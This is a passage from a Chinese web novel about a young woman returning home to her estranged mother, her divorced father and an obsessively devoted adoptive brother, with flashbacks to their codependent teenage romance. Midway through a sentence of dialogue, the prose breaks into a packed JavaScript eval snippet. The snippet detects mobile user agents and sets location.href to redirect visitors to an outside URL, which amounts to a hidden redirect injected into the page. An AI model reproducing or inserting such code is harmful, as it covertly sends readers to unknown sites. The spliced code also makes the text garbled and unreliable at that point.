------------------------------------- 准备回国的半个月前,宋青连女士罕见地给我打电话,问了一些工作交接和回国后的安排,最后一段三分钟左右的沉默之后,她忽然开口提起宋庭阳。 “前段时间我介绍李教授的女儿给你哥认识,还记得吗?就是小时候住在我们隔壁楼的那个姐姐。” 我翻书的手顿了一下,嗯了声,等着她继续说。李教授家的那个姐姐是学芭蕾的,和宋庭阳一个高中,高一学校校庆,我在后台和她见过。那时候宋庭阳是主持人,正在化妆,就拉过一张凳子,趁着候场的时间,让我趴在他腿上写作业。 写到第二面数学随堂测的时候,马上要表演芭蕾舞的女孩走过来,亲昵地递给我一瓶可乐,又笑着看向宋庭阳说:“没想到我们班长连辅导小孩作业都这么有耐心,以后一定是个超级奶爸。” 周围的同学因为这句话哄笑一堂,宋庭阳却拿走我手里的可乐,还给女孩,耐心解释:“碳酸饮料对牙齿不好,我妈现在不让我妹喝,她年纪还小,要保护牙齿。” “你好像一个管家婆啊。”女孩红着脸吐槽,原本被拒绝有些尴尬,但十五岁的宋庭阳仰着一张青涩俊秀的面孔,黑润的瞳仁专注地看着人时。就好似一片玻璃海,春日暖阳下光影安静淌过心头,如何也对他生不起气来。 等到跳芭蕾的女孩走了,宋庭阳回头,继续指了指空白的卷子,催促我做作业的时候,我才盯着他,平淡地说:“宋青连什么时候关心我的牙齿了?哥哥,每天演母慈子孝的幸福戏码,你不会腻吗?” 后台嘈杂,前面是架子鼓表演,剧烈的鼓声中,我看见宋庭阳瞳仁颤了颤,喉咙滚动一番,才扬起笑,伸手理了理我的校服领子,贴近说:“没关系的,雎雎,哥哥会关心你,哥哥会把妈妈那份关心一并给你。” 鼓声愈发激烈,重金属和电音交杂,我推开宋庭阳,却嗅到话梅的味道,是他唇舌间的话梅。 电话那段,宋青连的声音把我拉回现实,窗外的阴雨顺着窗户斜进屋内,我走过去将两盆绿萝移到屋内,电话声音滋滋啦啦,我忽然想起,高中在校外租房子,第一天入住的时候,宋庭阳就买了五盆绿萝,还笑眯眯地说:“雎雎,不管在哪住,房子里总要放点绿植,才算扎根了,才有家的味道。” “嗤,这算什么家。”我当时坐在地板上啃冰棍,看着宋庭阳蹲在阳台摆弄那几盆绿植,后背被汗浸湿,脖颈脸颊都被晒出一片湿红。风扇吱呀吱呀地转,掀起手边没看完的《呼啸山庄》。宋庭阳终于起身,撩起下摆擦了擦脸,少年精瘦的腰肢也湿漉漉地泛着水光。他拿过我吃了一半的冰棍,挨着我坐下后舒服地躺在地板上,笑了笑说:“这是我们的家呀,宋之雎和宋庭阳的家。” “我和你哥讲了好多遍,让他约人家女孩子吃饭。结果,你知道你哥哥怎么说吗?”宋青连在电话那端问我,话家常一样,但我却不适合与她这样相处,好在停顿一会,她自己主动叹口气,说了:“结果你哥哥告诉我,他是同性恋,喜欢男人,不打算结婚了。” 铛,绿萝被我放在书架,听着电话里宋青连的声音,我又往里推了推,站在原地喘了口气,疑惑地问她:“所以呢,妈妈,你觉得是我让哥哥变成同性恋了吗?” “可你们六年前毕竟做出了那样的事情。”宋青连的声音也很冷硬,听在我耳朵里像刀子一样。我会想起六年前,高考完的暑假,宋庭阳因为我擅自填了爸爸所在城市的大学,毫无征兆地崩溃了。他好像一个零件破损的玩具,忽然无法运行,听不进去我的解释。只一遍遍地问我:“不是你说的不会放过哥哥吗?雎雎,是你说的不放过我啊.......” 我很多时候无法共情宋庭阳的情绪,明明一开始他会因为看到我就吓得攥紧手指,甚至被我撞见几次在洗手间咬着毛巾偷哭。可后来宋庭阳又答应给我当狗,乃至于到最后,他又因为我决定放过他而崩溃。宋庭阳比我还奇怪。 宋庭阳在出租屋守了我十天,那十天里他瘦了很多,干涸的眼睛总是空洞地看着我,不知道在想什么,但经常会流泪,再慌乱地擦掉,怕我看见。最后一天下午的时候,我去客厅喝大麦茶,宋庭阳熟练地给我倒好,递过来时,我问他:“你生病了,是不是?宋庭阳,你心里一定生病了。” “没有呀,怎么会........”他愣了片刻,然后笑着摇头,泛红的眼睛和泪湿的碎发却显得他神经质。他只是拉着我的手,努力挤出欢快的语气说:“我被妈妈收养,吃穿都是最好的,还能读最好的学校,同学老师也都很喜欢我,所有人对我都很好,除了雎雎不喜欢哥哥,哥哥........” “你病了,宋庭阳。”我再次斩断他的话,手心摸着他消瘦的脸颊,宋庭阳不再说话了,只是抿着唇瓣,眼泪一大颗一大颗地掉。他望着我,抽噎地问:“所以是因为我生病了,所以雎雎不要生病的狗,是吗?” “宋庭阳,哥.......”我妥协地喊他,手指揩掉他脸上的泪水,好脾气地解释:“说什么报复你折磨你不会放过你这些话,你就当我小时候中二病发作了不行吗?我现在都十七岁了,哥,我很清楚自己不恨你,我也很清楚自己懒得恨任何人了。以后的人生我想安安静静地重新开始,在没有人认识我的地........” “不要!”宋庭阳开始剧烈地喘息,推开我,他慌乱地背过身走到门口,家里唯一的钥匙被他贴身带着。宋庭阳一边开门一边语无伦次地说:“你还是要丢掉我,宋之雎,你在狡辩,你一直都在狡辩。你要哥哥当你的狗,可现在你又丢掉哥哥,你是没有责任心的坏孩子,哥哥明明教过你要有始有终有责任心的,你不学好,你是坏主人。现在我不要和你说话了,我要出门去给你买葡萄吃。” 他说完,浑身颤抖,抬手抹了把眼泪,却始终没敢回头看我。直到彭的一声门被锁上,宋庭阳不知道有没有在门外徘徊,但,这扇门,确实是隔开了我们整整六年。 那天宋庭阳出门之后,宋青连找到这里,叫来开锁的师傅,她体面地付完钱之后,还将这件事解释为女儿高考没考好在闹脾气。直到开锁师傅离开,宋青连沉下脸,什么都没有问,显然她什么都已经知道了。 她将我的行李和证件都收拾好,打包成一个二十四寸的行李箱,宋青连将行李箱推给我,不容置喙地通知我:“我不会让你去你爸那边,但也不会再让你留在国内。宋之雎,你恨我,恨你哥,作为母亲我可以理解,但你对你哥做的那些事情,太过了。 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“宋青连,其实我一直恨你的是.......”出租车靠路边停住,热浪混杂着灰尘,在灰蒙蒙的暮色里一阵阵裹挟着我们母女,我独自拉着行李箱,低头搬到出租车后备箱,平静地说:“我只是恨你,七年前被我被找回来那天,你看见我第一眼,问的是为什么要低着头走路,好小家子气。” 那句话,就像宋青连处理文件时盖下的印戳。我不再是她的孩子,我是宋青连心中报废的劣质品。 “妈妈,”我又一次叫宋青连,听着电话那端她的呼吸声,窗外的雨丝斜洒在身上,我问她:“你是希望我道歉吗?可以的,妈妈,对不起,我错了。” 挂断电话,我并不期待宋青连任何的反馈。站在窗前,潮湿的风灌进屋里,白色的窗帘卷着我的身体,片刻间我心里竟也得到了些宁静。想起来当初本科时的老师说,并非所有的父母天生就爱自己的孩子,而孩子却在成长中,总是天然地期待父母的爱。 还好我已经不是孩子了,解开缠在身上的窗帘,我转身回到屋里,脱掉潮湿的外套,重新收拾起回国的行李。 ------------------------------------- 回国那天,比我告知宋青连的日期提前了三天。走出机场,我掏出手机尝试使用国内的轿车软件,而这时候一辆车打了下双闪,开到我面前,摇下车窗,是宋青连戴着墨镜,指了指后座说:“把行李给放后座,家里饭做好了,赶紧回去吧。” 坐在副驾,我看着窗外不断后退的街影,宋青连在和我说话:“我就知道你肯定不会和我说实话,所以在你告诉我回国日期之后,我提前一星期,每天都来机场蹲点。果然,这不就刚好接到你了。” “看来退休后的生活确实很无聊呀。”我笑了一声回复她,宋青连侧头看了我一眼,继续说:“今天晚上你爸和他那个二婚对象,定好了酒店,叫我们去吃饭。你去不去?还是说咱们回家吃。” “我爸既然都说出来了,当然去啊,他和阿姨结婚我都没到场,准备的礼物还没送出去呢。” 我用指尖轻轻瞧着玻璃,宋青连抿唇没有说什么,沉默地开了一路,等红绿灯的时候,她没忍住,主动开腔:“其实我一直怪你爸,当初你走丢,我们说好倾家荡产也要把你找回来,可第三年的时候,你爸放弃了,说什么不能赔上一家人的生活。我一直都恨他,后来我们离婚,我也想不明白,他为什么能毫无负担地开始新生活。难道就因为女儿不是他身上掉下来的肉,就可以随意放弃吗?” 可是妈妈,第三年你也收养了宋庭阳呀。爸爸从头到尾都是个不负责任的男人,所以我可以心安理得地憎恶他疏远他。而妈妈是为了找个女儿这个执念而坚持的人,在漫长的寻找无果的时光里,妈妈,你坚持的已经不是找到女儿,而是找到女儿这个执念。我恨你,也祈求你........爱着妈妈是孩子的天性,可我爱你,妈妈,却爱得很痛苦。 “我都知道,妈妈,你和爸爸不一样,你是完美主义者。”绿灯亮了,街景继续倒退,我看着车窗,窗户上宋青连的轮廓模糊。指尖放车窗里她蹙起的眉心中间,我说:“可是我好累啊妈妈,当年的事情,就把它掀过去。我们一家人,各自糊涂着过下去不也挺好。” 7. 被阳光忠犬哥哥囚禁之后(二) 回家之后,洗完澡,我定表睡了一觉,宋青连在客厅看电视剧,戴着眼镜一针一针勾着袜子,她说这是她的新爱好。我回屋看着床头摆满的五颜六色的袜子,拢起来丢到衣柜里,自己躺下后很快睡着了。被褥是小青柠的味道,宋庭阳喜欢用这个味道的洗衣液。他很勤快,我们两个夏天的衣服基本都是他手搓的,拧干后一件件晾在阳台,他喜欢用鼻子蹭过我的睡裙,眯起眼睛,少年柔软的发丝在阳光泛着浅橙淡金的绒边,像一只温驯的金毛,偷闻衣服之后,会不安地看向我的卧室。即便我从来没有怪过宋庭阳。 梦里做了奇怪的梦,宋庭阳躺在高中附近那间租的旧房子里,墨绿色的皮革沙发,他躺在上面,二十岁的样子,苍白的皮肤只薄薄一层,裹着伶仃的骨头。从手缝里像挤出来一样,血流蜿蜒,滴滴答答顺着指尖,落在白色的地板上。梦里宋庭阳的头发长,遮住眼睛,泪痕却很清晰,斑驳零落,像梅雨季节楼道里掉下来的墙皮。他穿着不合身的绵绸碎花裙,侧腰拉不上,被男人的骨架撑开。他手腕的血滴成一小片“湖泊”,我想拉宋庭阳起来,但梦里,他的目光被发丝切割,又穿过我,盯着泛黄的天花板。阳台的绿植枯黄萎靡,宋庭阳无解地,一遍遍问:“你的狗要死掉了,雎雎,你会伤心吗?你.......你会梦到我吗?” 醒来后我缓了许久,看了眼时间,随手抓着桌子上电话圈发绳绑住头发,绑好后却又愣了一下。这个发绳还是六年前的款式,有些旧了,是宋庭阳买的。他给我买过很多发饰,有专门收纳的盒子,初中上学前,他会在我吃早餐的时候,捧着发饰盒蹲下问我今天想戴哪个。后来我初二之后,不想出风头,就不戴发饰,只把头发简单扎成马尾。因为自己洗脸时就能搞定,所以每次宋庭阳都等在洗手间门口,看到我梳好头发出来,他眼神就会黯淡很多,吃饭时也会焦虑地不停看我。直到我对他说你来帮我重新扎下头发,宋庭阳才会松一口气,好似终于得到呼吸,面色平静下来,翘起唇角接过我的发绳,但还是会不满地小声说:“电话圈太素了,明明哥哥给你买的蝴蝶结发夹更好看。” 绑好头发后出门,我在客厅找杯子喝水,宋青连应该出门去了,电视剧还在放,我拉开餐桌旁的柜子,还没看到水杯,准备去厨房拿碗。厨房的旧式推拉门却从里面拉开,穿着黑色衬衣的男人端了盘水果,走过厨房门时需要低一下头,肩颈的线条将衬衣撑开,凶膛往下又收窄,皮带扎紧,西装裤垂坠感很强,包裹着一双长腿和起伏。 他抬头看了眼我,手指着下面一格柜子,语气平淡道:“纸杯在那里,你不经常回家,之前的水杯太旧不能用,搬家时就给扔了。雎雎........”忽然叫了下我的名字,我散乱着头发看面前打扮精致得体的宋庭阳,他翘起唇角笑了笑,黑润的杏眼里仍是温和与体贴,宋庭阳问我:“你不会怪哥哥吧?” 和宋庭阳坐在客厅聊了一会,他低头将葡萄一颗颗拽下来放到碗里,听着我讲这些年在国外的生活和学业。他很体面地没有发表任何意见,也聊了下他的创业情况和这些年家里的变化。一时间空气沉默,宋庭阳被汁水沾湿的指尖一下下重复滑过指肚,抿着唇,这是他一直以来焦虑时的无意识行为。 于是我打破沉默,主动捻起他剥到碗里的葡萄,吃了一颗,含糊地说了句很甜。准备吐出葡萄皮时,却一时间找不到垃圾桶,我站起身往厨房去看,而这时宋庭阳的手摊开伸到我嘴边,他没有意识到这个行为的不妥只是理所应当地看着我,说:“客厅的垃圾桶前几天破了,妈妈应该是忘记买新的了,不过没关系,你像以前一样吐哥哥手里就行,最后我帮你扔掉好了。” 像以前一样吗?以前我上学的时候,写作业时很喜欢吃水果,应季的苹果梨还有脆桃之类的,宋庭阳都会帮我削皮切好,摆到盘子里,再插着牙签喂到我嘴里。有时候嫌他烦,就会赶他离开书房,这时的宋庭阳垂着头,像只丧气的狗狗。关上门离开后,还要不停地在门口徘徊,直到我写完作业,开门后就看到他黑润的杏眼里亮起碎光,看了看我书桌上几乎没怎么动过的水果,宋庭阳会翘起唇角,假装惋惜地说:“真是拿雎雎没办法,看来哥哥不喂到你嘴边,你连水果都懒得吃。” 少年时宋庭阳这句话,倒是无意间预言了我在国外这几年。偶尔想起买水果,也总是因为削皮去核之类繁复的准备工作而止步,最多的还是吃香蕉橘子之类随便的水果,至于葡萄,六年里却是从没有吃过。 我抽了张桌子上的纸巾,吐在纸上后攥进手里,对怔住的宋庭阳摇了摇头,说:“哥,我不是小孩子了,不可以这样麻烦你了。” “是吗?”他也笑着收回手,抽出纸巾,边说着边将纸巾撕扯成一条一条。宋庭阳看着我,眼睛眨得飞快,瞳仁里碎光点点,他问:“是不可以还是不想啊,雎雎?” 没有回答他的问题,因为这些在我看来没有意义。我只说要回卧室换身衣服,晚上陪爸妈吃饭。宋庭阳也回过神一般,将碎成条的纸屑拢进手心搓了搓,语气轻快道:“对对,你不说我都要忘了,晚上魏叔叔请客,我来开车,咱们三个一起去饭店。” “你也去吗?”我有些惊讶,因为当初收养宋庭阳,完全是宋青连自己在各方刺激之下,做出的冲动之举,无论明里暗里,都有和前夫赌气的意味。所以一直以来,宋庭阳和魏桦的关系并不亲近,两人在我印象中,除了宋庭阳去魏桦住处接我回家,基本没见过几面。 “是啊,”宋庭阳笑起来,端起桌上的碗碟,一边往厨房走一边跟我讲话,说:“我们公司当初创业,还拉来了魏叔叔的投资呢。魏叔叔是个爽快的人,说是感谢我之前那些年对你的照顾。他心里总觉得对不住你,而你在国外又少给他和妈妈打电话。魏叔叔不知道该怎么疼你,就爱屋及乌待我也亲近了很多。” 宋庭阳的声音飘远了,隔着卧室门传到耳朵里,有些发闷。我从行李箱里挑出一套裙子换上,脑海里思绪有些乱,手指一直扣不上内衣扣,泄气地站在镜子前。肩带滑到臂肘,我有些烦躁地想换一个bra,而这时门响了,笃笃的声音穿透门板,宋庭阳好像无孔不入,密密麻麻的触角包拢了这件卧室。他站在门口轻声对我说:“床头柜里有哥哥给你买的新内衣,是扣子在前面的新款,雎雎,你试一下,应该是你的款式,不合适再告诉哥哥。” 会不合适吗?当然不会,宋庭阳远比我更了解我的身体,初一时第一次来月经,我即便知道这是什么情况,也还是因为弄脏裤子,坐在教室里,等到值日的同学离开,也不敢回家。而高中部需要上晚自习的宋庭阳,趁着吃饭的一小时跑来初中部,他本来是来教室替我做黑板报的,却意外发现我还没走。 宋庭阳当时很慌,蹲到我课桌旁问是不是有人欺负我。少年身上的白色校服衬衫飘散着小青柠的香味,而我闻到自己身上淡淡的铁锈味,忽而有种泾渭分明的荒谬感,即便他着急地几乎凑到我脸上。 我忽然起身,转过去背对着宋庭阳,又指了指椅子上淡红色的血渍,垂眼平淡地告诉他:“没有人欺负我,你看,哥,怎么办,我来初潮了。” 宋庭阳的脸突然爆红,尤其是脖颈连着耳根,漫洇开一片霞云。他慌乱地解开自己的校服外套,蹲下身给我系在腰间。又拎起我的书包,宋庭阳牵着我,一边走一边说:“没、没关系的,雎雎,你别怕啊,这是正常现场,说明我们雎雎长大了。女孩子都会来月经的,没关系啊雎雎,一会哥哥请假,回家给你煮个红糖鸡蛋醪糟,睡一觉就好了,今天的作业哥哥给你做好,你、你别累着了.......” 他说话语无伦次,到了超市反而正常许多,红着脸问过老板,然后把网面棉面日用夜用的卫生巾全买了一包,拎在手里,他邀功似的到门口,跟我说:“哥哥刚才问过了,回家哥哥教你怎么用。” 有病。我当然不需要宋庭阳教,回家去卫生间换好衣服之后。他捧着红糖鸡蛋醪糟,有些遗憾地站在客厅,对我招手说:“过来雎雎,不让哥哥教你用卫生巾,总得让哥哥给你熬甜水吧?乖,过来喝完补补气血,我们雎雎今天辛苦啦。” 等我换好衣服之后,宋青连也从外面回来了,手里拎着两三个礼盒,大约是送给魏烨的二婚礼物。她表情有些不快,将礼盒摔到鞋柜上,看着在厨房忙活的宋庭阳,便叫了他一声:“好了,阳阳,你就别忙活了,一个厨房擦四五遍,你妹回来了,你应该看见了吧?” 宋庭阳挽着袖子,露出精瘦的手臂和凸起血管,他端着一杯大麦茶递给宋青连,笑了笑看向刚好走出卧室的我,眼里掠过惊讶,而后说:“看到了,还和雎雎聊了好一会。六年不见,雎雎现在真是长大了,更漂亮了。” 身上这条藏青色的长裙勒着腰身,裙摆微微开叉到退根,是我当初毕业典礼时室友送我的。那个来自浪漫国都的姑娘牵着我的手转圈,又在舞池安静下来时,贴在我耳边说:“之,你身上有苦的味道。”当时我没有反应过来,再望向她时,我们已经被人流推攘着抱在一起,女孩的下巴垫在我的肩膀上,她抱我很紧,说:“my ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14125194|149889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' girl,这是悲伤的味道吗?” 说来出国前,我衣柜里绝大部分的衣裳都是宋庭阳买的,他喜欢浅色系,绿色、藕粉色和白色,连衣裙他偏好舒服的棉麻材质,每次都细心地熨烫平整。挂在衣柜里一件件拿给我挑。初二那年暑假,宋庭阳作为准高三生,要参加学校组织的夏令营,我在家无聊,便答应和同学去逛街。那一年流行各种金属元素烟熏妆和超短裙,我和同学相互怂恿对方,各自穿着挂满铁链和骷髅头的外套和短裙,脸上顶着飞到太阳穴的眼线和乌黑的眼圈,互相打气硬生生挨回家里。那天太阳很毒,我脸上的妆被晒融掉,眼线晕开,脸上斑驳的底妆也流出白汗。我将钥匙插到门孔里时,还祈祷宋青连千万不要在家。 但推开门,宋青连确实不在,宋庭阳却在阳台晾衣服。他穿着白色的老头背心,下面是绿格纹的大裤衩,少年的肩背还很单薄,头发没剪,遮住轮廓,只露出尖尖的下巴,从背影看像个高挑的女孩子。宋庭阳听见门响,拿着衣架兴奋地跑到客厅,刚喊了声我的名字,就睁大了眼睛定在原地,愣了几秒,待我我恼羞成怒抄起钥匙扔他的时候,宋庭阳才咧嘴大笑起来:“哎呦哈哈哈哈哈哈不行了哈哈哈哈哈,这是我妹妹吗?是哪家动物园的大熊猫跑出来了不哈哈哈哈哈哈哈哈哈.........” 我当时又气又窘,转身跑到洗手间,刚关上门,发现自己没有卸妆膏,咬咬牙打算用肥皂搓脸。但很快洗手间门响了,我生气地骂宋庭阳:“滚啊,你好烦,别笑了,等着我洗完澡出去就打你!” “我给你拿的妈妈的卸妆膏,偷拿的,一会用完给放回去。今天这事咱们谁都不是,好不好啊雎雎?别生气了,哥哥错了,哥哥不该笑你的。”宋庭阳趴在门口软下嗓子哄我,而我开门,看着碎发遮眼唇红齿白的少年,忽然想到好主意,匆忙卸掉脸上的妆。然后我拉着宋庭阳到妈妈的卧室,翻出她的化妆品,笑吟吟地捏住宋庭阳的下巴,拧开口红往他唇峰上涂。 宋庭阳拧了拧腰,不自在地想要起身,却被我不耐烦地抵开双腿。他红着脸没再吭气,只是捏着我衣服上的链子,拨弄着,轻轻地发出叮铛的声音。那时候我也不会化妆,指肚揉开他唇峰上的口红,又在宋庭阳眼尾抿了抿,他眼睫颤动,脸上沁出薄汗,日光泛着湿漉漉的碎光。午后闷热,我忽然觉得喘不上气,脸皮也红了,空气湿黏,少年青涩美丽的脸仰起,目光低垂,好似任人采颉的青葡萄。 我忽然升起亲吻他的冲动,当然我也这么做了。弯腰咬住少年红润的嘴唇,口红是梅子味的,并不苦,而宋庭阳的唇齿间是葡萄棒冰的甜味。他勾着我衣服的手指收紧,瞳仁颤动一瞬,又妥协地合上眼,泛着水光的葡萄被一点点碾碎。 廉价的铁链被勾住,相撞发出叮铛响,午后的蝉鸣高嘶,我的汗珠混着宋庭阳的汗珠,啪嗒掉在地板上。就像沉溺在这片闷热鱼缸里的两条小鱼,我在将要窒息时,终于放开宋庭阳,他眼睛里还是水蒙蒙的,抬起沾湿的眼界,出神地看着我。我直起身重新绑了下汗湿的头发,又拍了下宋庭阳的脸,断断续续地喘气说:“哥,你快去洗脸,再把妈妈的屋子收拾一下。她一会就该回来,别让妈妈看出来,行吗?” 晚上七点多我和宋青连还有宋庭阳才到酒店,宋庭阳去停车,宋青连带着我先去定好的包厢。这家饭店出名的是景泰菜,宋青连拿到菜单后面色愈发难堪,直到魏烨带着二婚的妻子匆匆推开包间门,她也没有起身迎接。 魏烨当初在机关单位工作,相亲认识了在学校当老师的宋青连,结婚一年后生下女儿,但不曾想女儿五岁的时候走丢。魏烨和宋青连当初为了找到我,三年里跑遍了半个中国,工作也辞掉了,最后卖完房后,魏烨首先“投降”,和执着到疯魔的宋青连离婚,净身出户,顺应当时的形势下海经商。六年后我被找回来时,魏烨已经成为身价不菲的大老板,他当然有意补偿宋青连和我,但宋青连恨他,当然不肯接受前夫的钱。这些年她感谢学校在我走丢的时间里保留了她的职称,所以全身心投入工作,备课比赛设计教材,在教育界也称得上一句桃李满天下,至今都时常会收到各界媒体人的采访。 或许也正是因为这样,我总在想,走丢六年之后,魏烨和宋青连都重建了自己的辉煌人生,而我作为他们的女儿,却时常感觉置身在景泰那片潮湿的梅雨时节里,长长的青石板路,我蹲在路的尽头,望着雾蒙蒙的细雨,行人打着伞一个一个绕过我,而我就告诉我自己:下一个出现雨里的伞,一定就是爸爸妈妈来接我的伞。 8. 被阳光忠犬哥哥囚禁之后(三) 魏烨的二婚妻子徐蓉英是个面馆老板娘,性格爽利,身边带着一个儿子徐奕。宋青连在电话里讥讽过魏烨一把年纪还喜欢霸总救美的把戏。我没太大触动,懒得处理上一辈人的恩怨官司。不过今天这顿饭倒多亏徐蓉英调节气氛,她儿子徐奕腼腆,被安排坐在我身边,徐蓉英还笑着说:“你姐姐可是国外学心理学的高材生,小奕,你不是也报考的心理学,多跟姐姐交流一下,别闷着啊。” 徐奕嗯了一声,朝我弯唇笑了笑,他眉目清俊,笑起来时有几分江南人的秀丽。主动帮我拆开碗筷,他递给我,又轻声问:“姐姐,你在国外这几年,口味还适应,会不会很想国内的美食?” 以为他会问和心理学相关的问题呢,我有些讶然,重新看了眼这孩子,又觉得他不简单,毕竟连宋青连和魏烨这对亲身父母,都没有问过我在国外吃不吃得惯、会不会想家。接过徐奕递来的碗筷,我低头笑了笑,剥起桌上的花生,敷衍回道:“还可以,我对吃的要求较低。” “是吗?我听魏叔叔说你喜欢景泰菜,还特意学了,我小时候帮妈妈看店,其实厨艺很好的。姐姐想吃的话,可以来家里,我在家给你做好不好?” 徐奕侧头望着我,眼睛弯弯很单纯。但一句话,既提到孤儿寡母生活不易,又点出魏烨作为父亲对我的关心,最后还强调家里这个领域概念,不动声色拉进我们的关系......... 真不错,我笑意更深,剥开的花生随手丢在盘子里,只喝了口水,我认真地对徐奕说:“你知道吗?你真的很适合学心理学。” 徐奕笑容僵在脸上,沉默片刻后眨了眨眼,胳膊挨着我,半截身子凑过来,语气好奇地问:“真的吗?姐姐,你刚见面就对我这么自信吗?我好开心。” “你再凑近点,头发都掉到雎雎碗里了,影响我妹妹吃饭。”一双男人的骨节分明的手抵开徐奕,宋庭阳从背后环住我的椅子,脱下西装外套搭住我的腿。宋庭阳说完做到我左手边,眼神甚至没有分给徐奕,唇瓣挽出得体的弧度。和长辈们照例打着招呼,他的手却抓了把花生,一颗一颗熟练地剥开,搓掉花生外面那层干皮,才放到我盘子里。 不过宋庭阳知道我胃口差,也只是剥了几颗,然后倒好温水,递给我清口。其实我很久没有被这样关注过用餐,在国外忙着学业和兼职,更多的用餐场景是在路上,匆匆咬几口三明治,灌下一杯冰水就是一餐饭。从前在国内时,吃饭很麻烦,尤其初三那年宋庭阳如临大敌,每天五点半就起床给我做早餐,米粉意面三明治煲仔饭........他学了很多花样,偶尔也有做砸的时候,那时候宋庭阳就会红着眼睛,双手绞着围裙,站在我床边说:“对不起,雎雎,今天早上哥哥要让你饿肚子了。”其实根本不会饿肚子,因为宋庭阳还盯着我吃鸡蛋和水果,每天一瓶牛奶放在书包里,我不喜欢喝,就囤在课桌下面的巷子里落灰。有次开家长会被宋庭阳发现了,他回家时一路都闷不做声,直到在门口我拽住他,不让宋庭阳开门。他才眼睛湿润地看着我委屈道:“雎雎,你不喜欢喝牛奶可以告诉哥哥的,那样哥哥早上就给你榨果汁了,或者哥哥也可以做牛奶布丁和双皮奶.........但你不要什么都不和我说,今天家长会,老师说青春期的孩子会下意识把家长关在内心世界之外。雎雎,你是不是也把哥哥关在........” 捏住宋庭阳的脸颊不让他说下去,而下一刻滚烫的泪珠就砸在我手背上。我无奈地皱眉,踮脚在宋庭阳唇边亲了亲,捏着他的耳垂,我问他:“哪个家长像你一样每天在高三学生屋里打地铺啊?宋庭阳,再把你放进心房,你是不是就该上床睡了?” “那不行,那是考完以后的事情,现在还不能打扰你学习。”宋庭阳倒是自觉,弯了弯腰,转身开门的时候,他又拉着我的胳膊放他腰上,小声地恐吓我:“雎雎,不按时喝牛奶,以后长不高,就做不到一边掐着哥哥的脖子一边亲哥哥了噢。” 饭桌上气氛并没有想象中的剑拔弩张,一方面宋青连和魏烨都是体面人,另一方面宋庭阳和徐蓉英在不断地抛出话题聊天。局面还算热络,菜品也可口,除了中途魏烨喝醉,哭着想拉我的手,说着什么爸爸对不起你,又说很后悔当年的事情........我没有太大感触,却下意识抓住宋庭阳的小臂,他身子僵了一下,把手搭在我手上拍了拍。然后起身拦住魏烨,用醒酒的借口扶着他坐到靠近门口的位置。 魏烨喝酒容易上脸,我也有这个毛病。他头抵着桌沿,呼吸声很重,我坐在离他最远的位置,隔着饭桌打量着血缘上的父亲。其实我对他的感情很简单,并不像对宋青连那般愤怒而痛苦。多于魏烨,我只是无感,父亲在我生命中面容模糊地位模糊甚至于记忆都很模糊,他更多是一个符号,让我明白自己的来处。 这还是我第一次认真地打量魏烨,中年男人的面孔,酒桌饭桌谈生意落下的臃肿身材。但宋青连给我看过他们结婚的照片,那时魏烨揽着宋青连,眼睛里都是笑意,两个人的头挨着,看向镜头,真是一对好看又快乐的年轻人。只是太相似的人无法在一起,两个锐角会刺得对方千疮百孔。 宋庭阳问魏烨需不需要倒杯水,而趴在桌上的男人却拽住宋庭阳,他闭着眼,涨红的脸上竟淌着泪水,滑过眼尾的皱纹,溪流一样。魏烨说着:“雎雎,你初中毕业那年,爸爸回来过,那年毕业典礼,爸爸本来是买了一条项链,金色的小鱼,用红绳吊着。导购说很多家长都会买来送给女儿,寓意在父母身边如鱼得水,平安快乐。所以爸爸也给你买了,只是后来我知道,这种项链都是送给七八岁的孩子,可我.......我没有见过我的女儿七八岁的样子........” 说着,魏烨声音哽住,从椅子里滑坐在地上,他不敢睁眼,年过半百却又像孩子一样号啕,像一个不体面地人,魏烨只敢拉着宋庭阳说:“我告诉学校的门卫让我进去,他们说家长联系簿没有我的名字,除非证明魏烨是宋之雎的父亲。否则不可以进。然后我就蹲在学校门口,拿着当年最新款的手机,我一直翻,翻相册,可是除了五岁前的照片,我没有一张、没有一张你的照片。那天爸就坐在学校门口,就想啊,是不是在做梦呢,这几年,说不定这是我的梦,雎雎还没有被找回来。所以我就赶紧地追着门卫问,我问他们学校里确定有一个女孩子叫宋之雎吧?门卫说我,告诉我好几遍,最后被我问烦了,骂我是不是神经病。真好,雎雎,你不知道当时爸有多高兴,第一次被人骂也这么高兴。是神经病就是神经吧,至少神经病的女儿没在梦里,是真真切切地在他身边。” 桌上的人都沉默下来,宋青连甚至红了眼眶,背过身赌气不看门口。徐蓉英起身去把丈夫扶到椅子里,徐奕也绕过半个房间跑去帮他妈。只有我坐着,一颗一颗地吃宋庭阳剥的花生,疲倦攀附着我,我哭不出来,只是冷静地想.......很多孩子等了很多年,仍在期待着父母的道歉,根源在于他们一直爱着父母。 可我看着魏烨,只是在看着一个喝醉的人。没有期待过父亲的爱,所以我不可能因为父亲的道歉释怀。就这样吧,我拿起纸巾擦了擦手,对站在门口的宋庭阳说:“哥,我该回家睡觉了。” 上学的时候,宋青连不允许我和宋庭阳晚归,晚上十一点半必须上床睡觉。后来高中搬出去租房住,每天下晚自习,宋庭阳都等在学校门口接我。从学校门口到我们家,会穿过一条美食街。我和宋庭阳喜欢吃一家麻辣拌,但那时候学习正要紧,他也怕我拉肚子,就总是只点一碗,数着让我吃五口,吃完之后他就把碗端走自己快速解决。麻辣拌的老板不知道我们是兄妹,熟悉之后就爱开玩笑,说宋庭阳这个男朋友当的比亲妈还操心。宋庭阳紧张地看我,又捏紧筷子,有些期待又怕我反驳。我咬着豆浆瓶里的吸管,反而是笑了笑,对老板娘说:“您怎么知道呀?我亲妈还真比不上他对我好。”说完我又去看宋庭阳,他悄悄在桌子下面牵住我的手,灯光眼皮泛红,有些开心,但神态里又那么悲伤。 